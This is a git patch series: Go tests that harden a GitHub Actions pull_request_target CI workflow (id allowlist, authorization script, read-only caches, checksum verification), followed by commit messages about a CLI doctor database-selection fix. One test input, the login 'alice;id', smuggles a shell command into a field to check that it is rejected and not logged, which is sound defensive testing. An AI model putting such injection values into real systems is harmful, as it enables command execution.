:= range entries { + if !strings.HasSuffix(entry.Name(), ".yml") { + continue + } + rel := filepath.Join(".github", "workflows", entry.Name()) + raw := readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+entry.Name()) + if strings.Contains(raw, bazelFarmWorkflowTitle) && entry.Name() != bazelFarmWorkflowName { + t.Errorf("%s names %q; nothing may consume a farm run", entry.Name(), bazelFarmWorkflowTitle) + } + for jobName, job := range readCIWorkflow(t, entry.Name()).Jobs { + for _, step := range job.Steps { + if _, ok := step.With["run-id"]; ok { + t.Errorf("%s job %s step %q downloads another run's artifacts by run-id", entry.Name(), jobName, step.Name) + } + } + } + if !contains(yamlMapKeys(readYAMLNode(t, rel), "on"), "workflow_run") { + continue + } + consumers++ + var doc struct { + On struct { + WorkflowRun struct { + Workflows []string `yaml:"workflows"` + } `yaml:"workflow_run"` + } `yaml:"on"` + } + if err := yaml.Unmarshal([]byte(raw), &doc); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(doc.On.WorkflowRun.Workflows, []string{"PR"}) { + t.Errorf("%s workflow_run workflows = %v, want exactly [PR]", entry.Name(), doc.On.WorkflowRun.Workflows) + } + for jobName, job := range readCIWorkflow(t, entry.Name()).Jobs { + if !strings.Contains(job.If, "github.event.workflow_run.event == 'pull_request'") { + t.Errorf("%s job %s if = %q; want it limited to pull_request runs (a farm run is pull_request_target)", entry.Name(), jobName, job.If) + } + } + } + if consumers == 0 { + t.Errorf("found no workflow_run consumers; the scan is broken (bazel-autofix.yml, docs-autofix.yml)") + } +} + +// The allowlist is the trust decision: exactly these numeric user ids, each +// with its login as a comment for humans (ids are what the script matches: +// a renamed account's old login can be registered by anyone). +func TestBazelFarmAllowlist(t *testing.T) { + got := map[string]string{} + entry := regexp.MustCompile(`^([1-9][0-9]{0,19}) # ([a-z0-9][a-z0-9-]{0,38})$`) + for _, line := range strings.Split(readPolicyFile(t, sourceRepoRoot(t), bazelFarmAllowlist), "\n") { + if line == "" || strings.HasPrefix(line, "#") { + continue + } + m := entry.FindStringSubmatch(line) + if m == nil { + t.Errorf("allowlist line %q is not ` # `", line) + continue + } + got[m[1]] = m[2] + } + if !reflect.DeepEqual(got, bazelFarmUsers) { + t.Errorf("allowlist = %v, want %v (changing it is a trust decision: update bazelFarmUsers deliberately)", got, bazelFarmUsers) + } +} + +func TestBazelFarmAuthorizeScript(t *testing.T) { + bash := requireHostTool(t, "bash") + script := filepath.Join(sourceRepoRoot(t), bazelFarmAuthorize) + dir := t.TempDir() + list := filepath.Join(dir, "allowlist.txt") + // 1001: listed; 1002: listed with trailing comment and spaces; 1003 + // appears only inside a comment. + if err := os.WriteFile(list, []byte("# comment 1003\n\n1001 # alice\n 1002 # bob\n"), 0o644); err != nil { + t.Fatal(err) + } + base := map[string]string{ + "ALLOWLIST": list, + "EVENT_NAME": "pull_request_target", + "ACTION": "synchronize", + "REPOSITORY": "gastownhall/beads", + "BASE_REPO": "gastownhall/beads", + "HEAD_REPO": "alice/beads", + "HEAD_OWNER_ID": "1001", + "BASE_REF": "main", + "DEFAULT_BRANCH": "main", + "HEAD_SHA": strings.Repeat("ab", 20), + "PR_AUTHOR": "alice", + "PR_AUTHOR_ID": "1001", + "SENDER": "alice", + "SENDER_ID": "1001", + } + run := func(t *testing.T, env map[string]string) (string, string, error) { + t.Helper() + out := filepath.Join(t.TempDir(), "out") + cmd := exec.Command(bash, script) + // en_US.UTF-8 (where installed), whose [0-9] and [A-Za-z] match + // non-ASCII: the script must pin its own locale. + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "GITHUB_OUTPUT=" + out, "LANG=en_US.UTF-8", "LC_ALL=en_US.UTF-8"} + for k, v := range env { + cmd.Env = append(cmd.Env, k+"="+v) + } + logs, err := cmd.CombinedOutput() + data, _ := os.ReadFile(out) + return string(data), string(logs), err + } + with := func(change map[string]string) map[string]string { + env := map[string]string{} + for k, v := range base { + env[k] = v + } + for k, v := range change { + env[k] = v + } + return env + } + cases := []struct { + name string + change map[string]string + allowed bool + }{ + {"listed author pushes", nil, true}, + {"opened", map[string]string{"ACTION": "opened"}, true}, + {"listed via trailing-comment line", map[string]string{"HEAD_REPO": "bob/beads", "HEAD_OWNER_ID": "1002", "PR_AUTHOR_ID": "1002", "SENDER_ID": "1002"}, true}, + {"another listed user pushes to a listed author's PR", map[string]string{"SENDER": "bob", "SENDER_ID": "1002"}, true}, + {"login is display only: listed ids, unlisted logins", map[string]string{"PR_AUTHOR": "mallory", "SENDER": "mallory"}, true}, + // F5: a listed login re-registered by someone else has a new id. + {"renamed login re-registered (author)", map[string]string{"PR_AUTHOR": "alice", "PR_AUTHOR_ID": "666", "HEAD_OWNER_ID": "666"}, false}, + {"renamed login re-registered (sender)", map[string]string{"SENDER": "alice", "SENDER_ID": "666"}, false}, + {"author not listed", map[string]string{"PR_AUTHOR_ID": "666", "HEAD_OWNER_ID": "666"}, false}, + {"collaborator pushes to a listed author's fork", map[string]string{"SENDER": "mallory", "SENDER_ID": "666"}, false}, + {"listed pusher on an unlisted author's PR", map[string]string{"PR_AUTHOR_ID": "666", "HEAD_OWNER_ID": "666", "SENDER_ID": "1001"}, false}, + {"id only in a comment", map[string]string{"SENDER_ID": "1003"}, false}, + {"id prefix", map[string]string{"SENDER_ID": "100"}, false}, + {"id suffix", map[string]string{"SENDER_ID": "10011"}, false}, + {"id with leading zero", map[string]string{"SENDER_ID": "01001"}, false}, + {"id with newline", map[string]string{"SENDER_ID": "1001\n1002"}, false}, + {"empty sender id", map[string]string{"SENDER_ID": ""}, false}, + {"empty author id", map[string]string{"PR_AUTHOR_ID": ""}, false}, + {"bot sender login is not printed", map[string]string{"SENDER": "dependabot[bot]", "SENDER_ID": "49699333"}, false}, + {"login with shell metacharacters", map[string]string{"SENDER": "alice;id", "SENDER_ID": "666"}, false}, + {"same-repo PR", map[string]string{"HEAD_REPO": "gastownhall/beads"}, false}, + {"same-repo PR, other case", map[string]string{"HEAD_REPO": "GastownHall/Beads"}, false}, + {"no head repo (deleted fork)", map[string]string{"HEAD_REPO": ""}, false}, + {"other base repo", map[string]string{"BASE_REPO": "someone/beads"}, false}, + {"base repo prefix", map[string]string{"BASE_REPO": "gastownhall/beads-evil"}, false}, + {"not the default branch", map[string]string{"BASE_REF": "release/1.0"}, false}, + {"pull_request event", map[string]string{"EVENT_NAME": "pull_request"}, false}, + {"reopened", map[string]string{"ACTION": "reopened"}, false}, + {"ready_for_review", map[string]string{"ACTION": "ready_for_review"}, false}, + {"labeled", map[string]string{"ACTION": "labeled"}, false}, + {"edited", map[string]string{"ACTION": "edited"}, false}, + {"unanchored action", map[string]string{"ACTION": "xopenedx"}, false}, + // F4: the head must be the author's own fork. + {"cross-fork: head in someone else's fork", map[string]string{"HEAD_REPO": "mallory/beads", "HEAD_OWNER_ID": "666"}, false}, + {"cross-fork: head in another listed user's fork", map[string]string{"HEAD_REPO": "bob/beads", "HEAD_OWNER_ID": "1002"}, false}, + {"head owner id missing", map[string]string{"HEAD_OWNER_ID": ""}, false}, + {"owner and author ids missing", map[string]string{"HEAD_OWNER_ID": "", "PR_AUTHOR_ID": ""}, false}, + {"owner id not numeric", map[string]string{"HEAD_OWNER_ID": "1001x", "PR_AUTHOR_ID": "1001x"}, false}, + {"short sha", map[string]string{"HEAD_SHA": "abcdef1"}, false}, + {"uppercase sha", map[string]string{"HEAD_SHA": strings.Repeat("AB", 20)}, false}, + {"ref instead of sha", map[string]string{"HEAD_SHA": "refs/heads/main"}, false}, + {"sha with suffix", map[string]string{"HEAD_SHA": strings.Repeat("ab", 20) + "\nx"}, false}, + // F8: non-ASCII digits and letters never pass the byte-class checks, + // whatever the runner's locale. + {"non-ASCII digit in id", map[string]string{"SENDER_ID": "100\u0661"}, false}, + {"non-ASCII digit in owner id", map[string]string{"HEAD_OWNER_ID": "100\u0661", "PR_AUTHOR_ID": "100\u0661"}, false}, + {"non-ASCII hex in sha", map[string]string{"HEAD_SHA": strings.Repeat("ab", 19) + "a\u00e9"}, false}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + out, logs, err := run(t, with(c.change)) + if err != nil { + t.Fatalf("script failed: %v\n%s", err, logs) + } + if want := fmt.Sprintf("allowed=%t\n", c.allowed); out != want { + t.Errorf("GITHUB_OUTPUT = %q, want %q\n%s", out, want, logs) + } + if strings.Contains(logs, ";id") || strings.Contains(logs, "[bot]") { + t.Errorf("log echoes an unvalidated login:\n%s", logs) + } + }) + } + for name, content := range map[string]string{ + "missing": "", + "login entry": "1001 # alice\nmallory\n", + "signed id": "+1001\n", + } { + t.Run("broken allowlist fails: "+name, func(t *testing.T) { + env := with(nil) + env["ALLOWLIST"] = filepath.Join(t.TempDir(), "missing.txt") + if content != "" { + if err := os.WriteFile(env["ALLOWLIST"], []byte(content), 0o644); err != nil { + t.Fatal(err) + } + } + if out, logs, err := run(t, env); err == nil || strings.Contains(out, "allowed=true") { + t.Errorf("want failure without allowed=true; out=%q\n%s", out, logs) + } + }) + } + t.Run("pins the C locale", func(t *testing.T) { + if !regexp.MustCompile(`(?m)^export LC_ALL=C$`).MatchString(readPolicyFile(t, sourceRepoRoot(t), bazelFarmAuthorize)) { + t.Errorf("%s does not export LC_ALL=C", bazelFarmAuthorize) + } + }) + t.Run("real allowlist admits listed users", func(t *testing.T) { + env := with(map[string]string{ + "ALLOWLIST": filepath.Join(sourceRepoRoot(t), bazelFarmAllowlist), + "HEAD_REPO": "sjarmak/beads", + "HEAD_OWNER_ID": "36544495", "PR_AUTHOR_ID": "36544495", "SENDER_ID": "2568253", + }) + if out, logs, err := run(t, env); err != nil || out != "allowed=true\n" { + t.Errorf("out=%q err=%v\n%s", out, err, logs) + } + }) +} + +func mustReadWorkflowDir(t *testing.T) []string { + t.Helper() + entries, err := os.ReadDir(filepath.Join(sourceRepoRoot(t), ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + var names []string + for _, entry := range entries { + if strings.HasSuffix(entry.Name(), ".yml") || strings.HasSuffix(entry.Name(), ".yaml") { + names = append(names, entry.Name()) + } + } + return names +} + +// F3: what a farm run's (pull_request_target) PR code could write to a cache +// must not change what later trusted runs execute. +// +// GitHub gives untrusted triggers a read-only cache token, and a declared +// cache-mode would override that default: bazel-farm.yml, bazel.yml and +// setup-bazel may declare none but read or none. +func TestBazelFarmCacheModeStaysReadOnly(t *testing.T) { + for _, rel := range []string{ + filepath.Join(".github", "workflows", bazelFarmWorkflowName), + filepath.Join(".github", "workflows", bazelWorkflowName), + filepath.Join(setupBazelActionDir, "action.yml"), + } { + root := readYAMLNode(t, rel) + var check func(node *yaml.Node, path string) + check = func(node *yaml.Node, path string) { + switch node.Kind { + case yaml.MappingNode: + for i := 0; i+1 < len(node.Content); i += 2 { + k, v := node.Content[i].Value, node.Content[i+1] + if k == "cache-mode" && (v.Kind != yaml.ScalarNode || (v.Value != "read" && v.Value != "none")) { + t.Errorf("%s: %s.cache-mode = %q; only read or none (a pull_request_target run must not write caches trusted runs restore)", rel, path, v.Value) + } + check(v, path+"."+k) + } + case yaml.SequenceNode: + for i, item := range node.Content { + check(item, fmt.Sprintf("%s[%d]", path, i)) + } + } + } + check(root, "") + } +} + +// bazel.yml's token: exactly contents: read, at the top and on any job that +// declares permissions (a call cannot exceed its caller's, but pin it). +func TestBazelWorkflowPermissionsReadOnly(t *testing.T) { + var doc struct { + Permissions any `yaml:"permissions"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName)), &doc); err != nil { + t.Fatal(err) + } + readOnly := map[string]any{"contents": "read"} + if !reflect.DeepEqual(doc.Permissions, readOnly) { + t.Errorf("%s permissions = %v, want exactly %v", bazelWorkflowName, doc.Permissions, readOnly) + } + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + if job.Permissions != nil && !reflect.DeepEqual(job.Permissions, readOnly) { + t.Errorf("%s job %s permissions = %v, want none or exactly %v", bazelWorkflowName, name, job.Permissions, readOnly) + } + } +} + +// Nothing restored from the runner cache is executed unverified: the Bazel +// binary is downloaded fresh into a Bazelisk home outside the cache and +// checked against a sha256 pinned for .bazelversion, the repo contents cache +// (unverified extracted repos) is off, and restored Go modules are checked +// against go.sum before use. +func TestBazelRestoredCachesAreVerified(t *testing.T) { + version := strings.TrimSpace(readPolicyFile(t, sourceRepoRoot(t), ".bazelversion")) + var install, wrapper ciWorkflowStep + for _, step := range readSetupBazelAction(t).Runs.Steps { + switch step.Name { + case "Install Bazelisk": + install = step + case "Install bazel wrapper": + wrapper = step + } + } + for _, arch := range []string{"amd64", "arm64"} { + pin := regexp.MustCompile(`(?m)^\s*` + regexp.QuoteMeta(version+"/"+arch) + `\) bazel_sha=[0-9a-f]{64} ;;$`) + if !pin.MatchString(install.Run) { + t.Errorf("setup-bazel pins no sha256 for Bazel %s (.bazelversion) on %s", version, arch) + } + } + for _, want := range []string{ + `echo "BAZELISK_HOME=$RUNNER_TEMP/bazelisk-home"`, + `echo "BAZELISK_VERIFY_SHA256=$bazel_sha"`, + `echo "BAZEL_CI_BAZEL_SHA256=$bazel_sha"`, + `bazel_version="$(tr -d '[:space:]' < .bazelversion)"`, + } { + if !strings.Contains(install.Run, want) { + t.Errorf("setup-bazel Install Bazelisk lacks %q", want) + } + } + if strings.Contains(install.Run, "bazel-ci-cache") { + t.Errorf("setup-bazel puts Bazelisk's home in the runner cache; the Bazel binary must never be restored from it") + } + for _, want := range []string{ + "/usr/local/bin/bazelisk --version", + `echo "${BAZEL_CI_BAZEL_SHA256} $bin" | sha256sum -c -`, + `find "$BAZELISK_HOME/downloads" -type f -path '*/bin/bazel' -print0`, + `if [ "$n" -eq 0 ]; then`, + } { + if !strings.Contains(wrapper.Run, want) { + t.Errorf("setup-bazel Install bazel wrapper lacks %q", want) + } + } + if strings.Index(wrapper.Run, "/usr/local/bin/bazelisk --version") > strings.Index(wrapper.Run, "sha256sum -c") { + t.Errorf("setup-bazel verifies the Bazel binary before downloading it") + } + + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) + restore := job.stepIndex(t, "Restore Go module cache") + verify := job.stepIndex(t, "Verify restored Go modules") + if verify != restore+1 || strings.TrimSpace(job.Steps[verify].Run) != "go mod verify" || job.Steps[verify].If != "" { + t.Errorf("%s: want an unconditional `go mod verify` step right after the Go module cache restore", bazelJobName) + } + for name, j := range readCIWorkflow(t, bazelWorkflowName).Jobs { + for i, step := range j.Steps { + if actionFamily(step.Uses) == cacheRestoreActionFamily && strings.Contains(step.With["path"], "go/pkg/mod") && + (i+1 >= len(j.Steps) || strings.TrimSpace(j.Steps[i+1].Run) != "go mod verify") { + t.Errorf("%s job %s restores the Go module cache without verifying it next", bazelWorkflowName, name) + } + } + } +} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 5b239ad04..cb1bd9d2c 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1506,7 +1506,7 @@ const ( uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" checkoutSHA = "3d3c42e5aac5ba805825da76410c181273ba90b1" - bazelCacheKeyPrefix = "bazel-repo-v2-${{ runner.os }}-" + bazelCacheKeyPrefix = "bazel-repo-v3-${{ runner.os }}-" bazelCacheKey = bazelCacheKeyPrefix + "${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }}" bazelCachePath = "${{ runner.temp }}/bazel-ci-cache" // Save only from a push to main that missed the exact key: the content is @@ -1805,14 +1805,21 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { } callers++ // A caller forwards the RBE secrets: it must never run in a - // fork's privileged context (review D1 v2 N5). - for _, trigger := range yamlMapKeys(readYAMLNode(t, filepath.Join(".github", "workflows", entry.Name())), "on") { - if trigger == "pull_request_target" || trigger == "workflow_run" { + // fork's privileged context (review D1 v2 N5). The one + // deliberate exception is bazel-farm.yml, whose pull_request_target + // run is limited to allowlisted fork authors and whose every + // security property TestBazelFarmWorkflowSecurity pins. + triggers := yamlMapKeys(readYAMLNode(t, filepath.Join(".github", "workflows", entry.Name())), "on") + for _, trigger := range triggers { + if trigger == "workflow_run" || (trigger == "pull_request_target" && entry.Name() != bazelFarmWorkflowName) { t.Errorf("%s calls %s and has trigger %s; a caller may not run with secrets in a fork PR's context", entry.Name(), bazelWorkflowName, trigger) } } - if entry.Name() != "pr.yml" && entry.Name() != "nightly.yml" { - t.Errorf("%s job %s calls %s; only pr.yml (PRs) and nightly.yml may", entry.Name(), jobName, bazelWorkflowName) + if entry.Name() == bazelFarmWorkflowName && !reflect.DeepEqual(triggers, []string{"pull_request_target"}) { + t.Errorf("%s triggers = %v, want exactly [pull_request_target]", entry.Name(), triggers) + } + if entry.Name() != "pr.yml" && entry.Name() != "nightly.yml" && entry.Name() != bazelFarmWorkflowName { + t.Errorf("%s job %s calls %s; only pr.yml (PRs), nightly.yml and %s (trusted forks) may", entry.Name(), jobName, bazelWorkflowName, bazelFarmWorkflowName) } got := map[string]string{} if m, ok := job.Secrets.(map[string]any); ok { @@ -1825,8 +1832,8 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { } } } - if callers != 2 { - t.Errorf("%d jobs call %s, want 2 (pr.yml, nightly.yml)", callers, bazelWorkflowName) + if callers != 3 { + t.Errorf("%d jobs call %s, want 3 (pr.yml, nightly.yml, %s)", callers, bazelWorkflowName, bazelFarmWorkflowName) } // The gate: needs the call and requires exactly BAZEL plus one id per @@ -1950,8 +1957,9 @@ func TestBazelCallConcurrencyDiffersFromCallers(t *testing.T) { "github.event_name": event, "github.ref": "refs/pull/123/merge", "github.event.pull_request.number || github.ref": "123", + "github.event.pull_request.number": "123", } - if event != "pull_request" { + if event != "pull_request" && event != "pull_request_target" { ctx["github.ref"] = "refs/heads/gh-readonly-queue/main/pr-123" ctx["github.event.pull_request.number || github.ref"] = ctx["github.ref"] } @@ -1963,13 +1971,13 @@ func TestBazelCallConcurrencyDiffersFromCallers(t *testing.T) { return v }) } - for _, caller := range []string{"pr.yml", "nightly.yml"} { + for _, caller := range []string{"pr.yml", "nightly.yml", bazelFarmWorkflowName} { callerGroup := group(caller) if callerGroup == "" { continue // no workflow-level group, nothing to collide with } name := yamlScalar(readYAMLNode(t, filepath.Join(".github", "workflows", caller)), "name") - for _, event := range []string{"pull_request", "merge_group", "push", "schedule", "workflow_dispatch"} { + for _, event := range []string{"pull_request", "pull_request_target", "merge_group", "push", "schedule", "workflow_dispatch"} { if a, b := eval(bazelGroup, name, event), eval(callerGroup, name, event); a == b { t.Errorf("%s event %s: %s's concurrency group %q equals the caller's; the call would deadlock", caller, event, bazelWorkflowName, a) } @@ -2211,7 +2219,7 @@ func TestBazelGateSimulation(t *testing.T) { // (409) or a download pick the wrong file. So every run that calls bazel.yml // (with its own inputs) must not upload any name twice (review D1 F7). func TestBazelArtifactNamesUniqueInCallerRuns(t *testing.T) { - for _, caller := range []string{"pr.yml", "nightly.yml"} { + for _, caller := range []string{"pr.yml", "nightly.yml", bazelFarmWorkflowName} { t.Run(caller, func(t *testing.T) { uses := collectRunArtifactUploads(t, caller, nil, "") var sawBazel bool @@ -3573,6 +3581,7 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { "RBE_VAR_ON": "${{ vars.RBE_WEST_WORKERS == 'true' }}", "RBE_INPUT_OFF": "${{ inputs.rbe == 'off' }}", "FORK": "${{ github.event.pull_request.head.repo.fork == true }}", + "FORK_FARM": bazelForkFarmValue, "HAS_EXECUTOR": bazelRBESecretValue, } if step.ID != "decide" || step.Uses != "" || step.Shell != "" || len(step.With) != 0 || !reflect.DeepEqual(step.Env, wantEnv) { @@ -3604,11 +3613,16 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { } // Nothing outside the decision step re-derives the condition. - rederive := regexp.MustCompile(`(?i)vars\.RBE_WEST_WORKERS|inputs\.rbe\b|head\.repo\.fork|github\.actor|dependabot`) + rederive := regexp.MustCompile(`(?i)vars\.RBE_WEST_WORKERS|inputs\.rbe\b|inputs\.fork-farm|head\.repo\.fork|github\.actor|dependabot`) walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", bazelWorkflowName)), "", func(path string, key bool, value string) { if key || !rederive.MatchString(value) || strings.HasPrefix(path, ".jobs."+bazelRBEJobName+".steps[0].env.") { return } + // The checkout opt-in for fork code (TestBazelWorkflowForkFarmInputs + // pins it): a checkout input, not an execution-mode decision. + if value == bazelAllowUnsafeCheckout && strings.HasSuffix(path, ".with.allow-unsafe-pr-checkout") { + return + } t.Errorf("%s: %s re-derives the execution mode (%q); read needs.rbe.outputs instead", bazelWorkflowName, path, value) }) @@ -3616,24 +3630,33 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { // on (its == is case-insensitive; a missing secret reads as ''). type facts struct { rbeVar, rbeInput, secret string - fork bool + fork, farm bool } cases := []struct { name string in facts mode, enabled string }{ - {"same-repo PR with secrets", facts{"true", "", "grpcs://x", false}, "remote", "true"}, - {"push to main", facts{"true", "", "grpcs://x", false}, "remote", "true"}, - {"var in other case", facts{"True", "on", "grpcs://x", false}, "remote", "true"}, - {"Dependabot PR (no secrets)", facts{"true", "", "", false}, "local", "false"}, - {"fork PR", facts{"true", "", "", true}, "local", "false"}, - {"fork PR, var unset", facts{"", "", "", true}, "local", "false"}, - {"dispatch rbe=off", facts{"true", "off", "grpcs://x", false}, "local", "false"}, - {"call rbe=OFF", facts{"true", "OFF", "grpcs://x", false}, "local", "false"}, - {"same-repo, var unset", facts{"", "", "grpcs://x", false}, "skip", "false"}, - {"Dependabot, var unset", facts{"", "", "", false}, "skip", "false"}, - {"var false", facts{"false", "on", "grpcs://x", false}, "skip", "false"}, + {"same-repo PR with secrets", facts{"true", "", "grpcs://x", false, false}, "remote", "true"}, + {"push to main", facts{"true", "", "grpcs://x", false, false}, "remote", "true"}, + {"var in other case", facts{"True", "on", "grpcs://x", false, false}, "remote", "true"}, + {"Dependabot PR (no secrets)", facts{"true", "", "", false, false}, "local", "false"}, + {"fork PR", facts{"true", "", "", true, false}, "local", "false"}, + {"fork PR, var unset", facts{"", "", "", true, false}, "local", "false"}, + {"dispatch rbe=off", facts{"true", "off", "grpcs://x", false, false}, "local", "false"}, + {"call rbe=OFF", facts{"true", "OFF", "grpcs://x", false, false}, "local", "false"}, + {"same-repo, var unset", facts{"", "", "grpcs://x", false, false}, "skip", "false"}, + {"Dependabot, var unset", facts{"", "", "", false, false}, "skip", "false"}, + {"var false", facts{"false", "on", "grpcs://x", false, false}, "skip", "false"}, + // bazel-farm.yml's authorized fork runs: remote or nothing, never + // a second local run (pr.yml already runs one). + {"authorized fork farm", facts{"true", "", "grpcs://x", true, true}, "remote", "true"}, + {"authorized fork farm, var unset", facts{"", "", "grpcs://x", true, true}, "skip", "false"}, + {"authorized fork farm, no secret", facts{"true", "", "", true, true}, "skip", "false"}, + {"authorized fork farm, rbe=off", facts{"true", "off", "grpcs://x", true, true}, "local", "false"}, + // FORK_FARM without the secret (a fork's own pull_request run + // cannot make it true: it needs event pull_request_target). + {"fork, not authorized, secret", facts{"true", "", "grpcs://x", true, false}, "local", "false"}, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { @@ -3641,6 +3664,7 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { "RBE_VAR_ON": strconv.FormatBool(strings.EqualFold(c.in.rbeVar, "true")), "RBE_INPUT_OFF": strconv.FormatBool(strings.EqualFold(c.in.rbeInput, "off")), "FORK": strconv.FormatBool(c.in.fork), + "FORK_FARM": strconv.FormatBool(c.in.farm), "HAS_EXECUTOR": strconv.FormatBool(c.in.secret != ""), } out, err := runBazelRBEDecision(t, step.Run, env) @@ -3655,7 +3679,7 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { } // A value that is not a boolean fails the job rather than picking a mode. if out, err := runBazelRBEDecision(t, step.Run, map[string]string{ - "RBE_VAR_ON": "true", "RBE_INPUT_OFF": "false", "FORK": "", "HAS_EXECUTOR": "true", + "RBE_VAR_ON": "true", "RBE_INPUT_OFF": "false", "FORK": "", "FORK_FARM": "false", "HAS_EXECUTOR": "true", }); err == nil { t.Errorf("decision with FORK='' succeeded with %v; want failure", out) } @@ -3733,6 +3757,11 @@ func TestSetupBazelRCWriter(t *testing.T) { if !strings.Contains(rc, "--repository_cache=") || strings.Contains(rc, "--disk_cache=") { t.Errorf("local rc = %q; want --repository_cache and no --disk_cache (local runs never save it)", rc) } + // The repo contents cache (extracted repos, never re-verified) would + // live in the runner cache: off. + if !strings.Contains(rc, "\ncommon --repo_contents_cache=\n") { + t.Errorf("rc = %q; want common --repo_contents_cache= (disabled)", rc) + } }) for name, env := range map[string][]string{ "executor only": {executor}, @@ -3831,8 +3860,8 @@ func TestBazelSyncStepPublishesPatch(t *testing.T) { } } upload := job.step(t, "Upload BUILD sync patch") - if upload.If != "${{ always() && steps.sync.outcome == 'failure' }}" { - t.Errorf("patch upload if = %q; want it gated on the sync step's failure", upload.If) + if upload.If != "${{ always() && steps.sync.outcome == 'failure' && github.event_name != 'pull_request_target' }}" { + t.Errorf("patch upload if = %q; want it gated on the sync step's failure, never from %s's pull_request_target runs", upload.If, bazelFarmWorkflowName) } if upload.With["name"] != "bazel-sync-patch" || upload.With["path"] != "${{ runner.temp }}/bazel-sync-patch/" || upload.With["if-no-files-found"] != "ignore" { From ed15632a167fce4330db50b721e9a8125ece9d45 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Wed, 30 Sep 2026 15:29:36 -0700 Subject: [PATCH 264/624] fix(cli): preserve redirect-source dolt_database for no-DB commands, guarded on explicit targets (#5774) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(doctor): preserve redirect-source dolt_database for no-DB commands (be-xil) selectedNoDBBeadsDir() (used by doctor/bootstrap/context/dolt no-DB commands) resolves an ambient beads dir via beads.FindBeadsDir(), which always follows a .beads/redirect internally before returning. By the time prepareSelectedNoDBContext's own internal preserveRedirectSourceDatabase call sees a beadsDir, it is already the post-redirect target (which has no redirect file of its own), so the source repo's configured dolt_database is silently never captured into BEADS_DOLT_SERVER_DATABASE. doctor's Dolt health checks still open the store via BEADS_DOLT_SERVER_DATABASE when set, so this left doctor falling through to the shared target's own default database and reporting a false "wrong database" diagnosis with a destructive --fix. Call preserveRedirectSourceDatabase with the source dir explicitly before selectedNoDBBeadsDir() resolves and loses that information, mirroring the pattern already used by the store-requiring PersistentPreRunE path just below it. go build/vet ./cmd/bd/... clean; new regression test and sibling PersistentPreRun tests pass. * test(doctor): red — explicit --db target must override ambient redirect Adds TestDoctorPersistentPreRunExplicitDBTargetOverridesAmbientRedirect, covering both reviewers' round-1 change request: an explicit --db target must not be shadowed by an ambient repo's unrelated redirect-source database. Currently RED — preserveRedirectSourceDatabase() is called unconditionally, so BEADS_DOLT_SERVER_DATABASE leaks the ambient repo's redirect-source db past the explicit target. refs be-fyt * fix(doctor): green — guard redirect-source preservation on explicit --db Round 1 of be-fyt review: preserveRedirectSourceDatabase() was called unconditionally inside the skipsStoreInit branch, mirroring the guard already present on the store-requiring sibling branch below it. Since beads.GetRedirectInfo() always resolves from the ambient CWD repo's local .beads regardless of --db/BEADS_DIR (bd-wayc3), an explicit --db/BEADS_DB/BD_DB target's own database was silently shadowed by the ambient repo's unrelated redirect-source database — reopening be-xil's failure mode via a narrower trigger. Fix: only preserve the redirect-source database when dbPath is unset, matching the existing guard at the sibling call site. TestDoctorPersistentPreRunExplicitDBTargetOverridesAmbientRedirect now passes; full ./cmd/bd/... suite shows the identical 9 pre-existing be-j8e-class failures as the pre-fix baseline, no new failures. refs be-fyt * docs(release-gates): add be-27c gate record Explicit --db target must override ambient redirect-source database (be-xil follow-on). PASS 7/7, independently re-verified. * test(doctor): red — BEADS_DB/BD_DB leak past the redirect-source guard The skipsStoreInit guard added in 848ed9f9 is spelled `dbPath == ""`, and the PR body describes it as covering "an explicit --db, BEADS_DB, or BD_DB target". It does not: main.go:1002-1004 only falls back to the configured db when BEADS_DB, BD_DB and BEADS_DIR are all unset, so with either env var set and no --db flag, dbPath stays "" and the guard reads "no explicit target given" for a caller that gave a perfectly explicit one. selectedNoDBBeadsDir (main.go:519, :523) does honor BEADS_DB and BD_DB, so the two disagree: BEADS_DIR is correctly rebound to the explicit target while the ambient repo's redirect-source database is preserved into BEADS_DOLT_SERVER_DATABASE anyway. That is be-xil's "wrong database" failure mode, still live for two of the three targets the guard names. Both subtests fail at this commit: BEADS_DOLT_SERVER_DATABASE = "ambient_source_db", want "" (leaked past an explicit BEADS_DB target) BEADS_DOLT_SERVER_DATABASE = "ambient_source_db", want "" (leaked past an explicit BD_DB target) Reported in review of PR #5774 by bee-ghosttrack, item 2. * fix(doctor): green — guard on the explicit target, not on dbPath Replace the `dbPath == ""` guard with explicitDBTargetGiven(), which asks the question selectedNoDBBeadsDir asks — dbPath, BEADS_DB, or BD_DB — so the two cannot drift apart again. Both subtests from the previous commit now pass; the four pre-existing PersistentPreRun tests are unchanged. Deliberately NOT keyed on PersistentFlags().Changed("db"), which the review suggested as the condition. A --db value naming a *database* rather than a path is moved to dbNameFromDBFlag and clears dbPath (main.go ~990), and it is consumed only on the store-requiring path (~1553, proxied-server mode). On the no-DB path selectedNoDBBeadsDir therefore finds no explicit directory target and falls through to beads.FindBeadsDir(), which follows the ambient repo's redirect — so the ambient workspace IS what gets selected and its source database must still be preserved. Measured on the previous commit with `bd doctor --db somebaredbname` in a redirected repo: dbPath="" BEADS_DIR=".../ambient-shared/.beads" ← ambient redirect target 